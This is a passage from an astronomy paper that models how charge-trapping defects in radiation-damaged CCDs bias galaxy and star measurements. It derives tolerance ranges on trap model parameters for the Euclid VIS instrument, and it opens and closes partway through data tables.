$\Delta R^{2}/R^{2}_{\mathrm{true}}$ & $0.4226\pm0.0025$ & $-0.3857\pm0.0038$ & $15.72\pm0.18$ & $2.576\pm0.375$ & $1.0866\pm0.0448$ & $4.382\pm0.047$ & $3.779\pm0.160$\
$\Delta e_{1}$ & $0.5333\pm0.0016$ & $-0.3357\pm0.0026$ & $16.28\pm0.22$ & $2.951\pm0.326$ & $0.9901\pm0.0203$ & $4.553\pm0.054$ & $4.132\pm0.081$\
\
$\Delta F/F_{\mathrm{true}}$ & $-0.5549\pm0.0029$ & $0.0446\pm0.0028$ & $129.6\pm13.7$ & $26.00\pm13.36$ & $0.1301\pm0.0121$ & $73.47\pm6.78$ & $56.84\pm5.21$\
$\Delta y$ & $0.09582\pm0.01011$ & $0.0517\pm0.0111$ & $5.622\pm8.911$ & $2.227\pm4.557$ & $0.0810\pm0.1170$ & $2.757\pm5.369$ & $3.154\pm2.784$\
$\Delta R^{2}/R^{2}_{\mathrm{true}}$ & $-2.3181\pm0.0173$ & $0.4431\pm0.0202$ & $75.90\pm25.02$ & $28.47\pm11.03$ & $0.5471\pm0.2294$ & $41.31\pm16.09$ & $35.33\pm9.12$\
$\Delta e_{1}$ & $0.01383\pm0.0115$ & $0.0039\pm0.0066$ & $12.30\pm20.49$ & $1.000\pm0.000$ & $0.0982\pm0.0274$ & $5.738\pm2.085$ & $5.353\pm2.078$\
\
$\Delta F/F_{\mathrm{true}}$ & $-2.2472\pm0.0239$ & $-1.4558\pm0.0189$ & $107.5\pm0.3$ & $55.11\pm0.95$ & $1.151\pm0.047$ & $496.6\pm3.2$ & $343.6\pm4.4$\
$\Delta y$ & $4.3532\pm0.0014$ & $-1.8608\pm0.0027$ & $173.1\pm0.4$ & $29.20\pm0.67$ & $5.0987\pm0.0173$ & $67.20\pm0.20$ & $43.91\pm0.22$\
$\Delta R^{2}/R^{2}_{\mathrm{true}}$ & $0.9489\pm0.00098$ & $-6.434\pm0.0095$ & $288.8\pm4.7$ & $18.71\pm4.49$ & $20.237\pm0.716$ & $94.42\pm0.15$ & $50.20\pm0.25$\
$\Delta e_{1}$ & $1.2336\pm0.0077$ & $-0.7941\pm0.0086$ & $266.7\pm2.4$ & $17.54\pm3.90$ & $16.513\pm0.046$ & $94.87\pm0.19$ & $52.57\pm0.21$\
\
$\Delta F/F_{\mathrm{true}}$ & $-0.0035\pm0.0002$ & $0.0027\pm0.0003$ & $110.2\pm10.5$ & $42.21\pm20.02$ & $0.0006\pm0.0271$ & $182.6\pm71.3$ & $3.5\pm100.0$\
$\Delta y$ & $0.1504\pm0.00066$ & $0.0970\pm0.0067$ & $12.46\pm1.86$ & $2.731\pm1.552$ & $0.0218\pm0.0034$ & $7.377\pm1.024$ & $5.063\pm0.717$\
$\Delta R^{2}/R^{2}_{\mathrm{true}}$ & $-0.0163\pm0.0038$ & $-0.0182\pm0.0036$ & $1269\pm33$ & $24.57\pm47.63$ & $0.0198\pm0.0146$ & $50.83\pm34.56$ & $37.95\pm38.64$\
$\Delta e_{1}$ & $0.0012\pm0.0024$ & $0.0003\pm0.0014$ & $2.26\pm50.92$ & $1.000\pm0.000$ & $0.02668\pm0.0061$ & $8.465\pm1.800$ & $5.379\pm1.647$\
\[tab:taufits\]
The @2014MNRAS.439..887M code can also be used to ‘untrail’ the CTI. If required, we use $n_\mathrm{iter}=5$ iterations to attempt to correct the image (possibly with slightly different model parameters). Note that we perform this correction only after adding readout noise in the simulated images.
Our main interest in this study is the impact of uncertainties in the trap model on the recovered estimate of an observable $\eta$ (e.g. ellipticity). Therefore, we present our results in terms of differences between the estimators measured for the corrected images, and the input values: $$\label{eq:deltadef}
\Delta\eta_{i} = \eta_{i,\mathrm{corrected}} - \eta_{i,\mathrm{input}}.$$ Because for each object of index $i$ the noise in the measurements of $\eta_{i,\mathrm{corrected}}$ and $\eta_{i,\mathrm{input}}$ are strongly correlated, they partially cancel out. Thus the actual uncertainty of each $\Delta\eta_{i}$ is lower than quoted. Moreover, because we re-use the same noise realisation in all our measurements (cases of different $\rho_{i}$ and $\tau_{i}$), these measurements are correlated as well.
CTI as a function of trap timescale {#sec:fourpanels}
-----------------------------------
The impact of charge trapping is dependent on the defect responsible. Figure \[fig:raw4panel\] demonstrates the effect of charge trap species with different release times $\tau$ on various scientific observables. To compute each datum (filled symbols), we simulate $10^{7}$ galaxies, add shot noise, add CTI trailing in the $y$ direction (i.e. vertical in Fig. \[fig:sampleimage\]), only then add readout noise. Separately, we simulate $10^{6}$ stars. Using eqs. –, we measure mean values of photometry (top panel), astrometry (second panel) and morphology (size in the third, and ellipticity in the bottom panel). Our results confirm what @2010PASP..122..439R found in a different context.
Three trap regimes are apparent, for all observables. Very fast traps ($\tau\!\la\!0.3$transfers) do not displace electrons far from the object; thus their effect on photometry is minimal (top plot in Fig. \[fig:raw4panel\]). We observe significant relative changes in position, size, and ellipticity, forming a plateau at low $\tau$, because even if captured electrons are released after the shortest amount of time, some of them will be counted one pixel off their origin. This is probably an artifact: We expect the effect of traps with $\tau\!<\!0.1$ to be different in an model simulating the transfer between the constituent electrodes of the physical pixels, rather than entire pixels.
Very slow traps ($\tau\!\ga\!30$transfers) result in electrons being carried away over a long distance such that they can no longer be assigned to their original source image. Hence, they cause a charge loss compared to the CTI-free case. However, because charge is removed from nearly everywhere in the image, their impact on astrometry and morphology is small.
The most interesting behaviour is seen in the transitional region, for traps with a characteristic release time of a few transfer times. If electrons re-emerge several pixels from their origin, they are close enough to be still associated with their source image, but yield the strongest distortions in size and ellipticity measurements. This produces local maxima in the lower two panels of Fig. \[fig:raw4panel\]. If these measurements are scientifically important, performance can – to some degree – be optimised by adjusting a CCD’s clock speed or operating temperature to move release times outside the most critical range $1\!\la\!\tau\!\la\!10$ [@2012SPIE.8453E..17M].
In the star simulations (crosses in Fig. \[fig:raw4panel\] for degraded images, plus signs for CTI-corrected images), the CTI effects are generally smaller than for the faint galaxies, because the stars we simulate are brighter and thus experience less trailing *relative to their signal*. Still, we measure about the same spurious ellipticity $\Delta e_{1}$ and even a slightly higher relative size bias $\Delta R^{2}/R^{2}_{\mathrm{true}}$ for the stars. The explanation is that the quadratic terms in the second-order moments (eq. \[eq:qmom\]) allow for larger contributions from the outskirts of the object, given the right circumstances. In particular, the wider window size $w$ explains the differences between the galaxy and PSF simulations. Notably, the peak in the $\Delta e_{1}(\tau)$ and $\Delta R^{2}/R^{2}_{\mathrm{true}}(\tau)$ curves shifts from $\sim\!3\,\mbox{px}$ for the galaxies to $\sim\!9\,\mbox{px}$ for the stars. Because the wider window function gives more weight to pixels away from the centroid, the photometry becomes more sensitive to slower traps.
For a limited number of trap configurations, we have also tried varying the trap density or the number of transfers (i.e. object position on the CCD). In both cases, the dependence is linear. Overall, for all tested observables, the measurements in the degraded images (Fig. \[fig:raw4panel\], solid symbols) are well-fit by the empirical fitting function $$\begin{gathered}
f^{\mathrm{degrade}}(\rho,\tau)=\rho\Big(A+D_{\mathrm{a}}\,{\mathrm{atan}}{((\log{\tau}-D_{\mathrm{p}})/D_{\mathrm{w}})}+\\
G_{\mathrm{a}}\exp{((\log{\tau}-G_{\mathrm{p}})^2/2G_{\mathrm{w}}^2)}\Big),
\label{eq:adg}\end{gathered}$$ which combines an arc-tangent drop (“D”) and a Gaussian peak (“G”). The best fit-amplitudes ($A$, $D_{\mathrm{a}}$ and $G_{\mathrm{a}}$), positions on the $\tau$ axis ($D_{\mathrm{p}}$ and $G_{\mathrm{p}}$) and widths ($D_{\mathrm{w}}$ and $G_{\mathrm{w}}$), are listed in Table \[tab:taufits\]. The same functional form provides a good match to the residuals after CTI correction, $f^{\mathrm{resid}}(\rho,\tau)$ (open symbols in Fig. \[fig:raw4panel\]). These residuals are caused by readout noise, which is not subject to CTI trailing, but undergoes CTI correction (see Sect. \[sec:rn\]).
Predictive model for imperfect correction
-----------------------------------------
We set out to construct a predictive model $\Delta f^{\mathrm{Pr}}$ of $\Delta\eta$, the CTI effect in an observable relative to the underlying true value (eq. \[eq:deltadef\]). There are two terms, the CTI degradation (eq. \[eq:adg\]), and a second term for the effect of the ‘inverse’ CTI correction allowing for a slightly imperfect CTI model: $$\Delta f^\mathrm{Pr}=f^\mathrm{degr}(\rho,\tau)+f^\mathrm{correct}(\rho+\Delta\rho,\tau+\Delta\tau).
\label{eq:adg2}$$ Since CTI trailing perturbs an image by only a small amount, the correction acts on an almost identical image. Assuming the coefficients of eq. (\[eq:adg\]) to be constant, we get: $$\label{eq:prediction}
\Delta f^\mathrm{Pr}\approx f^\mathrm{degr}(\rho,\tau)-f^\mathrm{degr}(\rho+\Delta\rho,\tau+\Delta\tau)
+ f^{\mathrm{res}}(\rho,\tau),$$ where $f^{\mathrm{res}}(\rho,\tau)$ is approximately constant, and depends on the readout noise (see Section \[sec:zprn\]). We could expand this equation as a Taylor series, but the derivatives of $f$ do not provide much further insight.
Because eq. (\[eq:nenc\]) is non-linear in the number $n_{\mathrm{e}}$ of signal electrons, our observation (Sect. \[sec:fourpanels\]) that the *effects* of CTI behave linearly in $\rho$ is not a trivial result. Assuming this linearly in $\rho$, we can expand eq. (\[eq:prediction\]) and factor out $\rho$. The combined effect of several trap species $i$ with release timescales $\tau_{i}$ and densities $\rho_{i}$ can then be written as: $$\begin{gathered}
\label{eq:sumpred}
\Delta f^{\mathrm{Pr}}(\rho_{i}+\Delta\rho_{i},\tau_{i}+\Delta\tau_{i})\!
=\!\sum_{i}\rho_{i}f^{\mathrm{resid}}(\tau_{i}) + \\
\sum_{i}\left[\rho_{i}f(\tau_{i}) - (\rho_{i}+\Delta\rho_{i})f(\tau_{i}+\Delta\tau_{i})\right],\end{gathered}$$ in which we dropped the superscript of $f^{\mathrm{degr}}$ for the sake of legibility. We are going to test this model in the remainder of this study, where we consider a mixture of three trap species. We find eq. (\[eq:sumpred\]) to correctly describe measurements of spurious ellipticity $\Delta e_{1}$, as well as the relative bias in source size $\Delta R^{2}/R^{2}_{\mathrm{true}}$ and flux $\Delta F/F_{\mathrm{true}}$.
Euclid as a concrete example {#sec:euclid}
============================
Context for this study
----------------------
To test the general prediction eq. (\[eq:sumpred\]), we now evaluate the effect of imperfect CTI correction in simulations of [*Euclid*]{} data, with a full [*Euclid*]{} CTI model featuring multiple trap species (see Sect. \[sec:blm\]). We call this the $\mathbf{M}+\delta\mathbf{M}$ experiment.
Akin to @2012MNRAS.419.2995P for *Gaia*, this study is useful in the larger context of the flow down of requirements from *Euclid*’s science goals [@2010arXiv1001.0061R] to its imaging capabilities [@2013MNRAS.429..661M] and instrument implementation [@2013MNRAS.431.3103C; @2014SPIE.9143E..0JC]. In particular, @2013MNRAS.429..661M highlight that the mission’s overall success will be determined both by its absolute instrumental performance and our knowledge about it. We now present the next step in the flow down: to what accuracy do we need to constrain the parameters of the @2014MNRAS.439..887M CTI model? Future work will then determine which calibration observations are required to achieve this accuracy.
While the final *Euclid* requirements remain to be confirmed, we adopt the current values as discussed by @2013MNRAS.431.3103C. Foremost, the “CTI contribution to the PSF ellipticity shall be $<\!1.1\times10^{-4}$ per ellipticity component”.
The *Euclid* VIS PSF model will bear an uncertainty due to CTI, that translates into an additional error on measured galaxy properties. For the bright stars (which have much higher $S/N$) tracing the PSF, @2013MNRAS.431.3103C quote a required knowledge of $R^{2}$ to a precision $\left|\sigma(R^{2})\right|\!<\!4\times10^{-4}$. We test this requirement with our second suite of simulations, containing $10^{6}$ realisations of a *Euclid* VIS PSF at $S/N\!\approx\!200$ (cf. Sec. \[sec:imsim\]).
In reality, CTI affects the charge transport in both CCD directions, serial and parallel. For the sake of simplicity, we only consider serial CTI, and thus underestimate the total charge trailing. There is no explicit photometric error budget allocated to CTI, while “ground data processing shall correct for the detection chain response to better than $0.7$ % error in photometry in the nominal VIS science images”.
CTI model for the *Euclid* VISual instrument {#sec:blm}
--------------------------------------------
--------------------------------------- ----------- ----------- -----------
**Baseline model** $i\!=\!1$ $i\!=\!2$ $i\!=\!3$
Trap density $\rho_{i}$ \[px$^{-1}$\] $0.02$ $0.03$ $0.95$
Release timescale $\tau_{i}$ \[px\] $0.8$ $3.5$ $20.0$
\[tab:traps\]
--------------------------------------- ----------- ----------- -----------
: The baseline trap model $\mathcal{M}$. The model includes a baseline well fill power of $\beta_{0}\!=\!0.58$.
{width="88.1mm"} {width="88.1mm"}
Based on a suite of laboratory test data, we define a baseline model $\mathbf{M}$ of the most important CTI parameters ($\rho_{i}$, $\tau_{i}$, $\beta_{0}$). We degrade our set of $10^{7}$ simulated galaxies using $\mathbf{M}$. The $\mathbf{M}+\delta\mathbf{M}$ experiment then consists of correcting the trailing in the degraded images with slight alterations to $\mathbf{M}$. We investigate $>\!100$ correction models $\mathbf{M}+\delta\mathbf{M}$, resulting in an impressive $1.4\times10^{9}$ simulated galaxies used in this study.
Exposure to the radiation environment in space was simulated in the laboratory by irradiating a prototype of the e2v CCD273 to be used for *Euclid* VIS with a $10$ MeV equivalent fluence of $4.8\!\times\!10^{9}\,\mathrm{protons/cm}^{-2}$ [@2014P1P; @2014V1V]. Characterisation experiments were performed in nominal VIS conditions of $153\,\mbox{K}$ temperature and a $70\,\mbox{kHz}$ readout frequency. We refer to Appendix \[sec:labdata\] for further details on the experiments and data analysis.
We emphasize that our results for $e_{1}$ pertain to faint and small galaxies, with an exponential disk profile (vz. Sect. \[sec:imsim\]), and placed at the maximum distance from the readout register ($y\!=\!2051$ transfers). Furthermore, we assume the level of radiation damage expected at the end of *Euclid*’s six year mission. Because CTI trailing increases roughly linearly with time in orbit [cf. @2014MNRAS.439..887M], the CTI experienced by the typical faintest galaxy (i.e. at half the maximum distance to the readout register and three years into the mission), will be smaller by a factor of $4$ compared to the results quoted below.
Where not stated otherwise the nominal *Euclid* VIS rms readout noise of $4.5$ electrons was used. Table \[tab:traps\] summarises the baseline model $\mathbf{M}$ that was constructed based on these analyses. The default well fill power is $\beta_{0}\!=\!0.58$. Slow traps with $\tau_{3}\!=\!20$ clock cycles and $\rho_{3}\!=\!0.95$ dominate our baseline model, with small fractions of medium-fast ($\tau_{2}\!=\!3.5$, $\rho_{2}\!=\!0.03$) and fast ($\tau_{1}\!=\!0.8$, $\rho_{1}\!=\!0.02$) traps. Figure \[fig:models\] shows how trails change with changing trap parameters.
Readout noise impedes perfect CTI correction {#sec:zprn}
--------------------------------------------
### Not quite there yet: the zeropoint {#sec:zp}
First, we consider the ellipticities measured in the degraded and corrected images, applying the same baseline model in the degradation and correction steps. The reasons why this experiment does not retrieve the same corrected ellipticity $e_{\mathrm{corr}}$ as input ellipticity $e_{\mathrm{in}}$ are the Poissonian image noise and Gaussian readout noise. We quantify this in terms of spurious ellipticity $\Delta e\!=\!e_{\mathrm{corr}}-e_{\mathrm{in}}$, and shall refer to it as the *zeropoint* of the $\mathbf{M}+\delta\mathbf{M}$ experiment. The spurious ellipticity in the serial direction is $Z_{\mathrm{e_{1}}}\!=\!\Delta e_{1}\!=\!-0.00118\pm0.00060$. Thus, this experiment on worst-case galaxies using the current software exceeds the *Euclid* requirement of $\left|\Delta e_{\alpha}\right|\!<\!1.1\times10^{-4}$ by a factor of $\sim\!10$. With respect to the degraded image $99.68$ % of the CTI-induced ellipticity are being corrected. Virtually the same zeropoint, $\Delta e_{1}\!=\!-0.00118\pm0.00058$, is predicted by adding the contributions of the three species from single-species runs based on the full $10^{7}$ galaxies. We point out that these results on the faintest galaxies furthest from the readout register have been obtained using non-flight readout electronics [cf. @2014SPIE.9154E..0RS].
From our simulation of $10^{6}$ bright ($S/N\!\approx\!200$) stars, we measure the residual bias in source size $R^{2}$ after CTI correction of $Z_{\!R^{2}}\!=\!\Delta R^{2}/R^{2}_{\mathrm{true}}\!=\!(-0.00112\pm0.00030)$, in moderate excess of the requirement $\left|\Delta R^{2}/R^{2}_{\mathrm{true}}\right|\!<\!4\times10^{-4}$. While the $S/N$ of the star simulations is selected to represent the typical *Euclid* VIS PSF tracers, the same arguments of longest distance from the readout register and non-flight status of the electronics apply.
### The effect of readout noise {#sec:rn}
In Fig. \[fig:readnoise\], we explore the effect of varying the rms readout noise in our simulations about the nominal value of $4.5$ electrons (grey lines) discussed in Sect. \[sec:zp\]. We continue to use the baseline trap model for both degradation and correction. For the rms readout noise, a range of values between $0$ and $15$ electrons was assumed. For the faint galaxies (Fig. \[fig:readnoise\], left plot), we find $\Delta e_{1}$ to increase with readout noise in a way well described by a second-order polynomial. A similar, cubic fit can be found for $\Delta R^{2}/R^{2}_{\mathrm{true}}$ measured from the star simulations (Fig. \[fig:readnoise\], right plot), but with a hint towards saturation in the highest tested readout noise level.
The most important result from Fig. \[fig:readnoise\] is that in absence of readout noise, if the correction assumes the correct trap model $\mathbf{M}$, it removes the CTI perfectly, with $\Delta e_{1}\!=\!(0.3\pm5.9)\times 10^{-4}$ and $\Delta R^{2}/R^{2}_{\mathrm{true}}\!=\!(0.0\pm2.8)\times 10^{-4}$. The quoted uncertainties are determined by the $N\!=\!10^{7}$ ($10^{6}$) galaxy images we simulated. We conclude that the combination of our simulations and correction code pass this crucial sanity check. If the rms readout noise is $\lesssim\!3$ electrons ($\lesssim\!0.5$ electrons), the spurious ellipticity (the relative size bias) stays within *Euclid* requirements.
Sensitivity to imperfect CTI modelling {#sec:res}
--------------------------------------
### Morphology biases as a function of well fill power, and determining tolerance ranges {#sec:beta}
![Sensitivity of the CTI-induced spurious ellipticity $\Delta e_{1}$ *(upper plot)* and the relative spurious source size $\Delta R^{2}/R^{2}_{\mathrm{true}}$ *(lower plot)* to the well fill power $\beta$. At the default value of $\beta\!=\!0.58$ (vertical grey line), the measurements deviate from zero due to readout noise, as indicated by arrows. The shaded region around the measurements indicate the *Euclid* requirement ranges as a visual aid. Solid and dashed lines display quadratic (linear) fits to the measured $\Delta e_{1}(\beta)$ and $\Delta R^{2}(\beta)/R^{2}_{\mathrm{true}}$, respectively. We study the worst affected objects (at the end of the mission and furthest from the readout register) and the faintest *Euclid* galaxies. This plot also assumes CTI is calibrated from charge injection lines at full well capacity only. This will not be the case.[]{data-label="fig:mdm2_exp0"}](fig4a.pdf "fig:"){width="85mm"} ![Sensitivity of the CTI-induced spurious ellipticity $\Delta e_{1}$ *(upper plot)* and the relative spurious source size $\Delta R^{2}/R^{2}_{\mathrm{true}}$ *(lower plot)* to the well fill power $\beta$. At the default value of $\beta\!=\!0.58$ (vertical grey line), the measurements deviate from zero due to readout noise, as indicated by arrows. The shaded region around the measurements indicate the *Euclid* requirement ranges as a visual aid. Solid and dashed lines display quadratic (linear) fits to the measured $\Delta e_{1}(\beta)$ and $\Delta R^{2}(\beta)/R^{2}_{\mathrm{true}}$, respectively. We study the worst affected objects (at the end of the mission and furthest from the readout register) and the faintest *Euclid* galaxies. This plot also assumes CTI is calibrated from charge injection lines at full well capacity only. This will not be the case.[]{data-label="fig:mdm2_exp0"}](fig4b.pdf "fig:"){width="85mm"}
Now that we have assessed the performance of the correction using the same CTI model as for the degradation (given the specifications of our simulations), we turn to the $\mathbf{M}+\delta\mathbf{M}$ experiment for determining the sensitivities to imperfections in the CTI model. To this end, we assume the zeropoint offset $Z_{e_{1}}$ (or $Z_{\!R^{2}}$) of Sect. \[sec:zp\] to be corrected, and ‘shift’ the requirement range to be centred on it (see, e.g., Fig. \[fig:mdm2\_exp0\]).
Figure \[fig:mdm2\_exp0\] shows the $\mathbf{M}+\delta\mathbf{M}$ experiment for the well fill power $\beta$. If the degraded images are corrected with the baseline $\beta_{0}\!=\!0.58$, we retrieve the zeropoint measurement from Sect. \[sec:zp\]. For the $\mathbf{M}+\delta\mathbf{M}$ experiment, we corrected the degraded images with slightly different well fill powers $0.56\!\leq\!\beta\!\leq\!0.60$. The upper plot in Fig. \[fig:mdm2\_exp0\] shows the resulting $\Delta e_{1}$ in galaxies, and the lower plot $\Delta R^{2}/R^{2}_{\mathrm{true}}$ in stars. We find a strong dependence of both the spurious serial ellipticity $\Delta e_{1}$ and $\Delta R^{2}/R^{2}_{\mathrm{true}}$ on $\Delta\beta\!=\!\beta\!-\!\beta_{0}$.
In order to determine a tolerance range with respect to a CTI model parameter $\xi$ with baseline value $\xi_{0}$ (here, the well fill power $\beta$), we fit the measured bias $\Delta\eta$ (e.g. $\Delta e_{1}$, cf. eq. \[eq:deltadef\]) as a function of $\Delta\xi\!=\!\xi\!-\!\xi_{0}$. By assuming a polynomial $$\label{eq:polynom}
\Delta\eta(\Delta\xi) = Z_{\eta} + \sum_{j=1}^{J}{a_{j}(\Delta\xi)^{j}}$$ of low order $J$, we perform a Taylor expansion around $\xi_{0}$. In eq. \[eq:polynom\], $Z_{\eta}$ is the zeropoint (Sect. \[sec:zp\]) to which we have shifted our requirement margin. The coefficients $a_{j}$ are determined using the `IDL` singular value decomposition least-square fitting routine `SVDFIT`. For consistency, our fits include $Z_{\eta}$ as the zeroth order. In Fig. \[fig:mdm2\_exp0\], the best-fitting quadratic (linear) fits to $\Delta e_{1}$ ($\Delta R^{2}/R^{2}_{\mathrm{true}}$) are shown as a solid and dashed line, respectively.
In both plots, the data stick tightly to the best-fitting lines, given the measurement uncertainties. If the measurements were uncorrelated, this would be a suspiciously orderly trend. However, as already pointed out in Sect. \[sec:sigmas\], we re-use the same $10^{7}$ simulations with the same peaks and troughs in the noise in all data points shown in Figs. \[fig:mdm2\_exp0\] to \[fig:flux2\]. Hence, we do not expect to see data points to deviate from the regression lines to the degree their quoted uncertainties would indicate. As a consequence, we do not make use of the $\chi^{2}_{\mathrm{red}}\!\ll\!1$ our fits commonly yield for any interpretation.
Because the interpretation of the reduced $\chi^{2}$ is tainted by the correlation between our data points, we use an alternative criterion to decide the degree $J$ of the polynomial: If the uncertainty returned by `SVDFIT` allows for a coefficient $a_{j}\!=\!0$, we do not consider this or higher terms. For the panels of Fig. \[fig:mdm2\_exp0\], this procedure yields $J\!=\!2$ ($J\!=\!1$). The different signs of the slopes are expected because $R^{2}$ appears in the denominator of eq. (\[eq:chidef\]).
Given a requirement $\Delta\eta_{\mathrm{req}}$, e.g. $\Delta e_{1,\mathrm{req}}\!=\!1.1\times10^{-4}$, the parametric form (eq. \[eq:polynom\]) of the sensitivity curves allows us to derive tolerance ranges to changes in the trap parameters. Assuming the zeropoint (the bias at the correct value of $\xi$) to be accounted for, we find the limits of the tolerance range as the solutions $\Delta\xi_{\mathrm{tol}}$ of $$\label{eq:tol}
\left|\sum_{j=1}^{J}{a_{j}(\Delta\xi)^{j}}\right|\!=\!\Delta\eta_{\mathrm{req}}$$ with the smallest values of $|\Delta\xi|$ on either sides to $\Delta\xi\!=\!0$. Using, eq. (\[eq:tol\]), we obtain $\Delta\beta_{\mathrm{tol}}\!=\!\pm(6.31\pm0.07)\times10^{-5}$ from the requirement on the spurious ellipticity $\Delta e_{1}\!<\!1.1\times10^{-4}$, for which the quadratic term is small. From the requirement on the relative size bias $\Delta R^{2}/R^{2}_{\mathrm{true}}\!<\!4\!\times\!10^{-4}$ we obtain $\Delta\beta_{\mathrm{tol}}\!=\!\pm(4.78\pm0.05)\times10^{-4}$. In other words, the ellipticity sets the more stringent requirement, and we need to be able to constrain $\beta$ to an accuracy of at least $(6.31\pm0.07)\times10^{-5}$ in absolute terms. This analysis assumes calibration by a single charge injection line at full well capacity, such that eq. (\[eq:nenc\]) needs to be extrapolated to lower signal levels. We acknowledge that *Euclid* planning has already adopted using also faint charge injection lines, lessening the need to extrapolate.
### Ellipticity bias as a function of trap density {#sec:rho}
{width="140mm"} {width="140mm"}
We now analyse the sensitivity of $\Delta e_{\alpha}$ towards changes in the trap densities. Figure \[fig:mdm2\_exp1\] shows the $\mathbf{M}+\delta\mathbf{M}$ experiment for one or more of the trap densities $\rho_{i}$ of the baseline model. The upper panel of Fig. \[fig:mdm2\_exp1\] presents the spurious ellipticity $\Delta e_{1}$ for five different branches of the experiment. In each of the branches, we modify the densities $\rho_{i}$ of one or several of the trap species. For example, the upward triangles in Fig. \[fig:mdm2\_exp1\] denote that the correction model applied to the images degraded with the baseline model used a density of the fast trap species $\rho_{1}\!+\!\Delta\rho_{1}$, tested at several values of $\Delta\rho_{1}$ with $0.9\!\leq\!1\!+\!\Delta\rho_{1}/\rho_{1}\!\leq\!1.1$. The densities of the other species are kept to their baseline values in this case. The other four branches modify $\rho_{2}$ (downward triangles); $\rho_{3}$ (squares); $\rho_{1}$ and $\rho_{2}$ (diamonds); and all three trap species (circles).
Because a value of $\Delta\rho_{i}\!\!=\!\!0$ reproduces the baseline model in all branches, all of them recover the zeropoint measurement of $\Delta e_{1}$ there (cf. Sect. \[sec:zp\]). Noticing that $e_{\mathrm{degr,1}}\!-\!e_{\mathrm{in,1}}\!<\!0$ for the degraded images relative to the input images, we explain the more negative $\Delta e_{1}$ for $\Delta\rho_{i}\!<\!0$ as the effect of undercorrecting the CTI. This applies to all branches of the experiment. Likewise, with increasing $\Delta\rho_{i}\!>\!0$, the residual undercorrection at the zeropoint decreases. Eventually, with even higher $\kappa\!>\!1$, we overcorrect the CTI and measure $\Delta e_{1}\!>\!0$.
Over the range of $0.9\!\leq\!1\!+\!\Delta\rho_{1}/\rho_{1}\!\leq\!1.1$ we tested, $\Delta e_{1}$ responds linearly to a change in the densities. Indeed, our model (eq. \[eq:sumpred\]), which is linear in the $\rho_{i}$ and additive in the effects of the different trap species, provides an excellent description of the measured data, both for $\Delta e_{1}$ and $\Delta R^{2}/R^{2}_{\mathrm{true}}$ (Fig. \[fig:mdm2\_exp1\], lower panel). The lines in Fig. \[fig:mdm2\_exp1\] denote the model prediction from a simplified version of eq. (\[eq:sumpred\]), $$\label{eq:rhopred}
\Delta f^{\mathrm{Pr}}(\rho_{i}+\Delta\rho_{i})\!=\!
\sum_{i}\rho_{i}f^{\mathrm{resid}}(\tau_{i}) + \sum_{i}(\rho_{i}+\Delta\rho_{i})f(\tau_{i})\,.$$ In eq. (\[eq:rhopred\]), we assumed the $\tau_{i}$ be correct, i.e. $\Delta\tau_{i}\!=\!0$.
Next, we compute the tolerance $\Delta\rho_{i,\mathrm{tol}}/\rho$ by which, for each branch of the experiment, we might deviate from the correct trap model and still recover the zeropoint within the *Euclid* requirements of $\left|\Delta e_{\alpha,\mathrm{req}}\right|\!<\!1.1\times10^{-4}$, resp. $\left|\Delta R^{2}_{\mathrm{req}}/R^{2}_{\mathrm{true}}\right|\!<\!4\times10^{-4}$. Again, we calculate these tolerances about the zeropoints $Z\!=\!\sum_{i}\rho_{i}f^{\mathrm{resid}}(\tau_{i})$ (cf. eq. \[eq:rhopred\]), that we found to exceed the requirements in Sect. \[sec:zp\], but assume to be corrected for in this experiment.
In accordance with the linearity in $\Delta\rho_{i}$, applying the Taylor expansion recipe of Sect. \[sec:beta\], we find the data in Fig. \[fig:mdm2\_exp1\] to be well represented by first-order polynomials (eq. \[eq:polynom\]). The results for $\Delta\rho_{i,\mathrm{tol}}/\rho$ we obtain from eq. (\[eq:tol\]) are summarised in Table \[tab:tolerances\]. For all species, the constraints from $\Delta e_{1}$ for faint galaxies are tighter than the ones from $\Delta R^{2}/\Delta R^{2}_{\mathrm{true}}$ for bright stars.
Only considering the fast traps, $\rho_{1}$ can change by $0.84\pm0.33$% and still be within *Euclid* VIS requirements, *given the measured zeropoint has been corrected for*. While a tolerance of $0.39\pm0.06$% is found for $\rho_{2}$, the slow traps put a much tighter tolerance of $0.0303\pm0.0007$% on the density $\rho_{3}$. This is expected because slow traps amount to $95$% of all baseline model traps (Table \[tab:traps\]). Varying the density of all trap species in unison, we measure a tolerance of $0.0272\pm0.0005$%.
Computing the weighted mean of the $\Delta\tau\!=\!0$ intercepts in Fig. \[fig:mdm2\_exp1\], we derive better constraints on the zeropoints: $Z_{\mathrm{e_{1}}}\!=\!\Delta e_{1}\!=\!-0.00117\pm0.00008$ for the faint galaxies, and $Z_{\!R^{2}}\!=\!\Delta R^{2}/R^{2}_{\mathrm{true}}\!=\!-0.00112\pm0.00004$ for the bright stars.
### Ellipticity bias as a function of trap release time {#sec:tau}
{width="140mm"} {width="140mm"}
--------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- ------------------------------------------------- --
branch $\xi$ $10^{4}\Delta\xi_{\mathrm{tol}}^{\mathrm{min}}$ $10^{4}\Delta\xi_{\mathrm{tol}}^{\mathrm{max}}$ $10^{4}\Delta\xi_{\mathrm{tol}}^{\mathrm{min}}$ $10^{4}\Delta\xi_{\mathrm{tol}}^{\mathrm{max}}$ $10^{4}\Delta\xi_{\mathrm{tol}}^{\mathrm{min}}$ $10^{4}\Delta\xi_{\mathrm{tol}}^{\mathrm{max}}$
$\eta\!=\!\Delta e_{1}$ $\eta\!=\!\Delta e_{1}$ $\eta\!=\!\Delta R^{2}/R^{2}_{\mathrm{true}}$ $\eta\!=\!\Delta R^{2}/R^{2}_{\mathrm{true}}$ $\eta\!=\!\Delta F/F_{\mathrm{true}}$ $\eta\!=\!\Delta F/F_{\mathrm{true}}$
galaxies galaxies stars stars galaxies galaxies
$\beta$ $-0.631\pm0.007$ $0.631\pm0.007$ $-4.78\pm0.05$ $4.78\pm0.05$ $-61.5\pm0.3$ $60.5\pm0.3$
$\rho_{1}$ $-84_{-33}^{+18}$ $84_{-18}^{+33}$ $-1250_{-1800}^{+450}$ $1250_{-450}^{+1800}$ $--$ $--$
$\rho_{2}$ $-39_{-6}^{+4}$ $39_{-4}^{+6}$ $-191_{-19}^{+16}$ $191_{-16}^{+19}$ $--$ $--$
$\rho_{3}$ $-3.03_{-0.07}^{+0.06}$ $3.03_{-0.06}^{+0.07}$ $-5.91\pm0.03$ $5.91\pm0.03$ $-267.5\pm1.6$ $267.5\pm1.6$
